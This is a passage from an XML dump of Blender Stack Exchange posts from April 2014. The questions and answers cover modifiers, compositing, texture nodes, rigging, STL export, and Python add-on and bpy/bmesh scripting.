bmesh&#xA;from mathutils import Vector&#xA;from mathutils.geometry import tessellate_polygon&#xA;&#xA;scene = bpy.context.scene&#xA;me = bpy.context.object.data&#xA;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;&#xA;points = [v.co for v in bm.faces[0].verts]&#xA;&#xA;tess = tessellate_polygon((points,))&#xA;&#xA;bm_tess = bmesh.new()&#xA;&#xA;faces = []&#xA;for tri in tess:&#xA;    verts = []&#xA;    for p in tri:&#xA;        verts.append(bm_tess.verts.new(points[p]))&#xA;    faces.append(bm_tess.faces.new(verts))&#xA;&#xA;# Explode&#xA;for face in faces:&#xA;    center = face.calc_center_median()&#xA;    for vert in face.verts:&#xA;        vert.co += center&#xA;&#xA;me_tess = bpy.data.meshes.new(&quot;Tris&quot;)&#xA;bm_tess.to_mesh(me_tess)&#xA;&#xA;ob = bpy.data.objects.new(&quot;Tris&quot;, me_tess)&#xA;scene.objects.link(ob)&#xA;scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZvhV.png&quot; alt=&quot;Triangulated and exploded Ngon&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-28T21:33:52.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8975" PostTypeId="1" CreationDate="2014-04-28T21:36:33.137" Score="4" ViewCount="5392" Body="&lt;p&gt;I need to decimate a 3d-scanned image.  I am in Object Mode, but I do not see the Modifiers Panel.  The wiki says that F9 will display the Modifiers panel, but this does nothing in my Blender session.  I am running Blender 2.70 on Windows 7.&#xA;Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="3309" LastEditorUserId="2217" LastEditDate="2014-04-28T22:58:57.377" LastActivityDate="2014-04-28T22:58:57.377" Title="Where can I find the Decimate modifier?" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8976" PostTypeId="2" ParentId="8975" CreationDate="2014-04-28T21:38:40.800" Score="3" Body="&lt;p&gt;You must have an object selected for the modifiers panel to be visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you &lt;a href=&quot;https://blender.stackexchange.com/q/3446/599&quot;&gt;have an object selected&lt;/a&gt; (yellow outline), it will be in &lt;em&gt;Properties &gt; Modifiers&lt;/em&gt;. Then click on &lt;em&gt;Add modifier&lt;/em&gt; and select &lt;em&gt;Decimate&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GFe2A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-04-28T21:38:40.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8977" PostTypeId="2" ParentId="8930" CreationDate="2014-04-28T21:48:42.210" Score="5" Body="&lt;h1&gt;Compositing:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could also use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Compositing&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By enabling the &lt;a href=&quot;https://blender.stackexchange.com/q/7816/599&quot;&gt;&lt;em&gt;AO&lt;/em&gt;&lt;/a&gt; and &lt;em&gt;Shadow&lt;/em&gt; passes in &lt;em&gt;Renderlayers &gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V9cCb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use these in the compositor to darken parts of your image. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBBNr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve a wide variety of effects with the compositor and render passes (this is only a basic example). If you use &lt;em&gt;renderlayers&lt;/em&gt; you can do even more, such as only affecting the shadows cast on the floor plane (see &lt;a href=&quot;https://blender.stackexchange.com/q/3002/599&quot;&gt;this question&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A nice advantage to using compositing is that you can tweak things without re-rendering.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Rendering:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Another thing you can try that hasn't already been covered by the other answers is &lt;em&gt;Bounces&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example comparing 0 to 3 glossy and diffuse bounces (&lt;em&gt;Render settings &gt; Light Paths &gt; bounces&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ue3lE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also &lt;a href=&quot;https://blender.stackexchange.com/q/1577/599&quot;&gt;set the bounces per-shader with the lightpath node&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling &lt;em&gt;Caustics&lt;/em&gt; can also result in a slightly darker image.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-04-28T21:48:42.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8978" PostTypeId="2" ParentId="6881" CreationDate="2014-04-28T22:15:57.080" Score="7" Body="&lt;p&gt;If you are trying to use the image as a sky/panorama background, you probably want the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures#Environment_Texture&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Environment texture&lt;/em&gt;&lt;/a&gt; node instead of the &lt;em&gt;Image texture node&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The environment node will let you use panorama projection types (Mirror Ball and Equirectangular) This is the only difference between the two nodes, see &lt;a href=&quot;https://blender.stackexchange.com/q/4867/599&quot;&gt;What are the differences between an environment node and a image node?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, if you really want to use the &lt;em&gt;Image node&lt;/em&gt; for the sky/background (e.g. to have an image stuck exactly behind the camera, always in the same orientation), you will need to adjust the coordinates with a &lt;em&gt;Mapping node&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fZiTN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that to edit the world nodes, you must ensure the little globe icon in the header is selected.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-04-29T02:14:16.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8979" PostTypeId="1" CreationDate="2014-04-28T22:19:21.317" Score="3" ViewCount="1303" Body="&lt;p&gt;In my scene I have a text object I'm rendering over a photograph with nice natural depth of field. I am matching the depth of field effect with a defocus node in the compositor. Since the camera doesn't move for the duration of the sequence, I'd like to hold the first frame. Effectively rendering the defocus node for one frame and extending that frame in the VSE for the length of the sequence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to render the frame out to a file and then import it back in. I will be doing this many time and want to avoid any manual two step process. I need a non-destructive way to do this in one step. In NUKE, this is a 'HoldFrame' node, in After Effect you can use TimeRempaing, FUSION also has a solution for this.&lt;/p&gt;&#xA;" OwnerUserId="3311" LastEditorUserId="599" LastEditDate="2014-08-05T23:04:12.893" LastActivityDate="2014-10-04T23:38:47.323" Title="Hold Frame in Compositor" Tags="&lt;animation&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8982" PostTypeId="1" CreationDate="2014-04-28T23:50:10.787" Score="1" ViewCount="568" Body="&lt;p&gt;I am new to Blender and struggling with numerous questions. I am in the process of animating a model and all went fine with respect to &quot;Rigging, Skinning&quot; Now I'm attempting to &quot;Pose&quot; and as I move the model parts of a hat and hair don't follow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be due to &quot;Weighting Issues&quot;? I did manually &quot;Weight&quot; the areas in discussion due to the fact that I believed loose parts such as hair needed to be manipulated to the head etc. Any Ideas? I have yet to complete the first key frame an things aren't following correctly?&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="1165" LastEditDate="2014-04-29T08:31:22.350" LastActivityDate="2014-04-29T08:31:22.350" Title="Parts of model do not follow during animation?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8983" PostTypeId="1" AcceptedAnswerId="8986" CreationDate="2014-04-29T00:39:44.303" Score="3" ViewCount="597" Body="&lt;p&gt;I wanted to apply an object operator (shade_smooth/flat) to linked/dupli objects, but can't find a way to pass the object to this operator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# flat or smooth&#xA;flat = False&#xA;&#xA;for ob in context.scene.objects:&#xA;    if ob.dupli_group and ob.dupli_group.objects:&#xA;        for dob in ob.dupli_group.objects:&#xA;            if flat:&#xA;                bpy.ops.object.shade_flat()&#xA;            else:&#xA;                bpy.ops.object.shade_smooth()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this doesn't work, because it applies on selected objects only. Was surprised to see this even works from the python terminal, without the need to override context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues?&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2014-04-29T06:56:03.757" Title="Python: Apply object operator to dupli objects" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8984" PostTypeId="2" ParentId="8983" CreationDate="2014-04-29T01:44:30.987" Score="1" Body="&lt;p&gt;&lt;code&gt;bpy.ops.object.shade_flat()&lt;/code&gt; and &lt;code&gt;bpy.ops.object.shade_smooth()&lt;/code&gt; set the shading on all &lt;strong&gt;selected objects&lt;/strong&gt;. The active object doesn't matter - if it's not selected, it won't be affected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Deselect&#xA;for ob in context.scene.objects:&#xA;    ob.select = False&#xA;&#xA;# Select&#xA;for ob in context.scene.objects:&#xA;    if ob.dupli_group and ob.dupli_group.objects:&#xA;        for dob in ob.dupli_group.objects:&#xA;            dob.select = True&#xA;&#xA;# Set shading on all selected objects&#xA;if flat:&#xA;    bpy.ops.object.shade_flat()&#xA;else:&#xA;    bpy.ops.object.shade_smooth()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-29T01:44:30.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8985" PostTypeId="2" ParentId="8979" CreationDate="2014-04-29T05:09:29.333" Score="4" Body="&lt;p&gt;You can add a input-&gt;image node and open the video file with it.&#xA;In the node controls you can set how many frames of your video file you want to use (frames), when to start in your composition (start frame), and the offset value is the one that will allow you to choose the exact frame to be used.&#xA;In this example the original quicktime file has 1600 frames but only 1 frame (797) will be displayed, as freeze frame, starting at frame 1 and for the entire length of the composition.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mbJcG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-04-29T05:21:15.677" LastActivityDate="2014-04-29T05:21:15.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8986" PostTypeId="2" ParentId="8983" CreationDate="2014-04-29T06:34:25.180" Score="3" Body="&lt;p&gt;This uses &lt;code&gt;selected_editable_objects&lt;/code&gt;, You can find out which attributes are used by passing in a Python context, and then check the terminal for where each requested attribute is printed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Yes, we know this isnt an ideal way to design the API, however this is internal C code which defines which context variables are used).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;&#xA;# flat or smooth&#xA;flat = True&#xA;&#xA;# use a 'set' to avoid duplicates, can convert into a list after.&#xA;selected_editable_objects = set()&#xA;&#xA;for obj in context.scene.objects:&#xA;    if obj.dupli_type == 'GROUP':&#xA;        group = obj.dupli_group&#xA;        if group:&#xA;            for dob in obj.dupli_group.objects:&#xA;                selected_editable_objects.add(dob)&#xA;&#xA;context_py = context.copy()&#xA;&#xA;context_py[&quot;selected_editable_objects&quot;] = list(selected_editable_objects)&#xA;&#xA;&#xA;if flat:&#xA;    bpy.ops.object.shade_flat(context_py)&#xA;else:&#xA;    bpy.ops.object.shade_smooth(context_py)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: this would be more efficient to de-duplicate based on the object data, since its possible many objects reference the same data. But for the example above, its simpler to just take unique objects.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-04-29T06:56:03.757" LastActivityDate="2014-04-29T06:56:03.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8987" PostTypeId="1" CreationDate="2014-04-29T09:48:27.550" Score="3" ViewCount="3039" Body="&lt;p&gt;I am using matlab for a university project to create a simulation of an aerial package drop using 3d models that I made in Blender. I am exporting from blender in ~.stl format (binary form) and importing the file using a matlab script to use in a 3d graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now comes the part I need help with. Rhe script I'm using in matlab can also extract colour data (if any) from the file and apply it to the model. However, a standard stl file only contains info on vertices and faces, but I know from a little research that it is pssible to create ~.stl files with colour data included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I could either artificially create the colour data in matlab or just give each model one colour, I'd like to be able to just import the data from blender. Therefore, I've come up with a couple of ideas and was wondering if anyone knows the method/related scripts to achieving one of these solutions? They are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;export model in a different file type that contains colour, to do this I would (probably) need a different matlab import script relating specifically to that file type;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;find the correct settings or find a python script that allows blender to attach colour data to an exported ~.stl file; and, &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;export each different coloured part of each model as it's own model and relate their position to each other in matlab. this I know how to do, but it's tedius and would slow down the simulation unnecessarily.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, two other quick things. I'm currently creating the models using cycles engine, in terms of exporting (colour) model data would it be easier to switch to blender render? Also, out of curiosity, to what extent can the material effect from blender be exported? Obviously diffuse can be exported cause it's just applying model colour, but what about effects like gloss, transparency, reflections, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="3317" LastEditorUserId="3401" LastEditDate="2014-09-28T04:53:49.580" LastActivityDate="2015-03-27T07:43:20.543" Title="Help with exporting a 3d model in ~.stl format and adding colour data" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8988" PostTypeId="2" ParentId="3163" CreationDate="2014-04-29T11:29:10.287" Score="3" Body="&lt;p&gt;May be you want to check out this link to render a colored point cloud in Blender-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://visheshvision.wordpress.com/2014/04/28/rendering-a-colored-point-cloud-in-blender/&quot; rel=&quot;nofollow&quot;&gt;https://visheshvision.wordpress.com/2014/04/28/rendering-a-colored-point-cloud-in-blender/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2713" LastEditorUserId="2713" LastEditDate="2015-03-18T06:41:10.447" LastActivityDate="2015-03-18T06:41:10.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8991" PostTypeId="2" ParentId="8987" CreationDate="2014-04-29T14:52:31.027" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;http://en.wikipedia.org/wiki/STL_%28file_format%29#Color_in_binary_STL&quot; rel=&quot;nofollow&quot;&gt;wikipedia&lt;/a&gt; there are two different schemes in use for including color data in an stl file.  Unfortunately, they differ significantly from each other, and there is no way to specify which is in use in a file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first, I would determine which format matlab exects.  &lt;a href=&quot;http://www.mathworks.com/matlabcentral/fileexchange/20922-stlwrite-write-binary-or-ascii-stl-file&quot; rel=&quot;nofollow&quot;&gt;This script&lt;/a&gt; says it can save in VisCam/SolidView format, so it would be reasonable to expect it to import this format as well, but you'd better check.  The problem here is that blender doesn't support the colored format, so you'll have to modify blender's export script...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since all you're doing is exporting it to view with matlab, a different format that supports textures would probably be a better choice.  STL is meant for 3d prototyping, where color typically doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the other questions, I'm not sure.  Usually it's better to put each question in it's own post.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-04-29T14:52:31.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8992" PostTypeId="1" AcceptedAnswerId="8993" CreationDate="2014-04-29T15:48:24.870" Score="2" ViewCount="2517" Body="&lt;p&gt;Is it possible to assign custom properties to vertices (or edges or faces)? If yes, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manual says that custom properties are only supported for datablocks with an ID. what exactly is meant with this ID?&lt;/p&gt;&#xA;" OwnerUserId="1027" LastActivityDate="2014-04-30T00:54:21.563" Title="Python API: Custom properties for vertices/edges/faces?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8993" PostTypeId="2" ParentId="8992" CreationDate="2014-04-29T16:44:42.817" Score="1" Body="&lt;p&gt;Only objects which are derived from &lt;code&gt;bpy.types.ID&lt;/code&gt; support custom properties. These subclasses are listed here: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.types.ID.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;API docs - bpy.types.ID&lt;/a&gt;. You access them via &lt;code&gt;bpy.data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, &lt;code&gt;Bone&lt;/code&gt; and &lt;code&gt;PoseBone&lt;/code&gt; objects support custom properties as well: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.props.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;API docs - bpy.props&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard API does &lt;strong&gt;not&lt;/strong&gt; support custom data for geometry elements (&lt;code&gt;bpy&lt;/code&gt;).&lt;br&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bmesh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BMesh Module &lt;/a&gt; (&lt;code&gt;bmesh&lt;/code&gt;) does however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that custom data layers are rather slow when utilized with Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind the &quot;propagation&quot; of custom data, the attributes are copied on operations like extrusion - hence, you can't really use it to give each vert / edge / face a unique number for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7094/python-assign-custom-tag-to-vertices&quot;&gt;Python: assign custom tag to vertices&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bmesh.html#customdata-access&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Docs - Custom data access&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-04-30T00:54:21.563" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8995" PostTypeId="1" CreationDate="2014-04-29T21:27:10.337" Score="0" ViewCount="621" Body="&lt;p&gt;I have a file that I have made a significant amount of changes to. When I try to render it now, it shows an old image from a few weeks ago that I rendered and no file is saved. Does this sound familiar at all? I'm kind of going crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there are any settings I need to show, but if there are, I would be glad to post them. I'm using Version 2.70.&lt;/p&gt;&#xA;" OwnerUserId="3326" LastActivityDate="2014-04-29T21:27:10.337" Title="Blender Cycles Render shows old image" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-05-01T11:36:48.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="8996" PostTypeId="1" AcceptedAnswerId="14135" CreationDate="2014-04-29T21:55:09.377" Score="11" ViewCount="1444" Body="&lt;p&gt;Why, when I'm using the Blender internal renderer, can I see my procedural texture (for my displacement), but, when I'm using Cycles render, I cannot? It's not like I want the procedural texture for texturing; it's for displacement, so why is it not possible to see this when I use Cycles? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very annoying for me. Maybe there is a trick using the node editor to show this texture, but I don't know how do do that. I think it's the best way to have a preview directly in the properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iBrQW.jpg&quot; alt=&quot;texture preview in Blender Internal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T57Ym.jpg&quot; alt=&quot;No texture preview in cycles&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3327" LastEditorUserId="1253" LastEditDate="2014-05-06T23:26:34.507" LastActivityDate="2016-10-01T10:08:12.853" Title="texture preview for displacement in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8997" PostTypeId="1" AcceptedAnswerId="9061" CreationDate="2014-04-29T22:01:18.760" Score="1" ViewCount="1048" Body="&lt;p&gt;Blender (2.70a) is crashing with segmentation faults when I enable/disable/reenable my addon. I've inherited a project with a multi-file package design. I'm suspect that some classes are not unregistering since they aren't being called when the addon's unregister gets called. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reviewed this &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Multi-File_packages&quot; rel=&quot;nofollow&quot;&gt;cookbook&lt;/a&gt;. And in both examples there are no bpy.type.Operators except in the &lt;strong&gt;__init__.py&lt;/strong&gt; file. But in my project some files have Operators and Panels and some don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if reregistering classes can cause a crash?&#xA;What's the point of calling &lt;strong&gt;&lt;em&gt;bpy.utils.unregister_module(__name__)&lt;/em&gt;&lt;/strong&gt; if it doesn't unregister. Here is my &lt;strong&gt;__init__.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;   'name': 'MyTools',&#xA;   'author': 'Me',&#xA;   'version': (0, 3),&#xA;   'blender': (2, 69, 0),&#xA;   'location': 'bpy.ops.mytools',&#xA;   'description': 'MyTools',&#xA;   'warning': '',&#xA;   'wiki_url': '',&#xA;   'category': 'user'}&#xA;&#xA;import os&#xA;import sys&#xA;import importlib&#xA;&#xA;&#xA;# import/reload all .py files dynamically&#xA;for file_name in os.listdir(os.path.dirname(__file__)):&#xA;  if file_name      == '__init__.py' or \&#xA;     file_name[-3:] != '.py'         or \&#xA;     file_name[0]   == '.'           or \&#xA;     file_name[0]   == '#':&#xA;       continue&#xA;&#xA;  module_name = 'mytool.' + file_name[:-3]&#xA;  __import__(module_name, locals(), globals())&#xA;&#xA;  module = sys.modules[module_name]&#xA;if 'bpy' in locals():&#xA;    print(module.__name__)&#xA;    importlib.reload(module)&#xA;&#xA;if 'bpy' in locals():&#xA;  print('Reloaded Mytool AddOn')&#xA;else:&#xA;  print('Imported Mytool AddOn')&#xA;&#xA;import bpy&#xA;&#xA;def register():&#xA;  bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;  bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == '__main__':&#xA;  register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And mock up of one of the other files. foo.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from . import myUtils&#xA;&#xA;import bpy&#xA;&#xA;class myOp(bpy.types.Operator):&#xA;   bl_idname = &quot;mytools.myop&quot;&#xA;   bl_label = &quot;my operator&quot;&#xA;   def execute(self,context):&#xA;       self.report({'INFO'}, &quot;awesome&quot;)&#xA;       return {'FINISHED'}&#xA;&#xA;bpy.utils.register_class(myOp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this as simple as adding register and unregister methods to all of my other .py files.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="2452" LastEditDate="2014-04-30T01:35:04.257" LastActivityDate="2014-10-26T02:50:14.210" Title="Multi-File Packages need to unregister all classes from files" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8999" PostTypeId="1" AcceptedAnswerId="9033" CreationDate="2014-04-29T22:11:22.750" Score="1" ViewCount="1739" Body="&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how can I convert a Blender Z-Up RH rotation to Y-Up RH (Maya, Houdini, etc.) rotation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I believe Blender uses a Right-Handed Z-Up orientation... correct me if wrong)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Details:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Position seems pretty basic. I am simply getting the position column of the world matrix like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;posX = lightObj.matrix_world[0][3]&#xA;posY = lightObj.matrix_world[2][3]&#xA;posZ = lightObj.matrix_world[1][3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(swizzling Z and Y)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotations on the other hand seem to need more than a simple swizzle. I have figured out how to get the Blender world space rotation in XYZ by doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lightObj.matrix_world.to_euler('XYZ')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if only I knew what to do with it... I have searched for conversion formulas online and come up with several incomplete/incorrect implementations.&lt;/p&gt;&#xA;" OwnerUserId="1458" LastEditorUserId="1458" LastEditDate="2014-04-30T06:32:41.167" LastActivityDate="2014-07-30T01:01:25.100" Title="Convert from Blender rotations to Right Handed Y-Up rotations (Maya, Houdini, ...)" Tags="&lt;conversion&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9000" PostTypeId="1" AcceptedAnswerId="10873" CreationDate="2014-04-29T22:14:48.163" Score="3" ViewCount="2379" Body="&lt;p&gt;I know there are a lot of threads concerning CUDA and GPU-rendering in Blender, but I haven't figured out yet why my installed Blender(2.70) from the repository offers no choice of the rendering-hardware but the bundle you get from blender.org does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Linux Mint 16 64bit but I observed that fact on Ubuntu 12.04 as well. But on Ubuntu 14.04 the CUDA-option is active on both versions of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my system has the necessary drivers to go on with the GPU, the question is, where do I start to fix the repository version, cause I'd like to link the blend-files..&lt;/p&gt;&#xA;" OwnerUserId="3328" LastEditorUserId="599" LastEditDate="2014-04-29T22:17:05.857" LastActivityDate="2014-06-01T13:45:01.427" Title="No CUDA option in repository version of Blender" Tags="&lt;rendering&gt;&lt;gpu&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
